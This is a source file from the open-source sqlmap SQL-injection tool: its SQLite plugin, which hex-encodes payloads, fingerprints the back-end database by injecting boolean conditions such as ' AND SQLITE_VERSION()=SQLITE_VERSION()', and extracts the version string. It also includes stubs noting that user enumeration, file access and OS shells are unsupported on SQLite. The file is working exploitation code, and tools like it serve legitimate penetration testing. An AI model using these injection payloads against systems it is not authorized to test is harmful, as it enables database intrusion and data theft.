#!/usr/bin/env python """ $Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2009 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import re from lib.core.agent import agent from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setDbms from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SQLITE_SYSTEM_DBS from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem from plugins.generic.fingerprint import Fingerprint from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover class SQLiteMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SQLite methods """ def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS Enumeration.__init__(self, "SQLite") Filesystem.__init__(self) Takeover.__init__(self) unescaper.setUnescape(SQLiteMap.unescape) @staticmethod def unescape(expression, quote=True): # The following is not supported on SQLite 2 return expression if quote: expression = expression.replace("'", "''") while True: index = expression.find("''") if index == -1: break firstIndex = index + 2 index = expression[firstIndex:].find("''") if index == -1: raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression.replace("''", "'") lastIndex = firstIndex + index old = "''%s''" % expression[firstIndex:lastIndex] unescaped = "" for i in range(firstIndex, lastIndex): unescaped += "X'%x'" % ord(expression[i]) if i < lastIndex - 1: unescaped += "||" #unescaped += ")" expression = expression.replace(old, unescaped) expression = expression.replace("''", "'") else: expression = "||".join("X'%x" % ord(c) for c in expression) return expression @staticmethod def escape(expression): # Example on SQLite 3, not supported on SQLite 2: # select X'48'||X'656c6c6f20576f726c6400'; -- Hello World while True: index = expression.find("X'") if index == -1: break firstIndex = index index = expression[firstIndex+2:].find("'") if index == -1: raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index + 3 old = expression[firstIndex:lastIndex] oldUpper = old.upper() oldUpper = oldUpper.replace("X'", "").replace("'", "") for i in xrange(len(oldUpper)/2): char = oldUpper[i*2:i*2+2] escaped = "'%s'" % chr(int(char, 16)) expression = expression.replace(old, escaped) return expression def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += "SQLite" return value actVer = formatDBMSfp() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = getHtmlErrorFp() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://www.sqlite.org/lang_corefunc.html * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ if conf.dbms in SQLITE_ALIASES: setDbms("SQLite") self.getBanner() if not conf.extensiveFp: return True logMsg = "testing SQLite" logger.info(logMsg) payload = agent.fullPayload(" AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") result = Request.queryPage(payload) if result: logMsg = "confirming SQLite" logger.info(logMsg) payload = agent.fullPayload(" AND SQLITE_VERSION()=SQLITE_VERSION()") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DMBS is not SQLite" logger.warn(warnMsg) return False setDbms("SQLite") self.getBanner() if not conf.extensiveFp: return True version = inject.getValue("SUBSTR((SQLITE_VERSION()), 1, 1)", unpack=False, charsetType=2) kb.dbmsVersion = [ version ] return True else: warnMsg = "the back-end DMBS is not SQLite" logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = "SQLite" def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" logger.warn(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to enumerate the current database" logger.warn(warnMsg) def isDba(self): warnMsg = "on SQLite the current user has all privileges" logger.warn(warnMsg) def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getPrivileges(self): warnMsg = "on SQLite it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getDbs(self): warnMsg = "on SQLite it is not possible to enumerate databases" logger.warn(warnMsg) return [] def getColumns(self, onlyColNames=False): errMsg = "on SQLite it is not possible to enumerate database " errMsg += "table columns" if conf.dumpTable or conf.dumpAll: errMsg += ", provide them with -C option" raise sqlmapUnsupportedFeatureException, errMsg logger.warn(errMsg) def dumpColumn(self): errMsg = "on SQLite you must specify the table and columns to dump" raise sqlmapUnsupportedFeatureException, errMsg def dumpAll(self): errMsg = "on SQLite you must specify the table and columns to dump" raise sqlmapUnsupportedFeatureException, errMsg def readFile(self, rFile): errMsg = "on SQLite it is not possible to read files" raise sqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None, confirm=True): errMsg = "on SQLite it is not possible to write files" raise sqlmapUnsupportedFeatureException, errMsg def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" raise sqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "on SQLite it is not possible to execute commands" raise sqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise sqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise sqlmapUnsupportedFeatureException, errMsg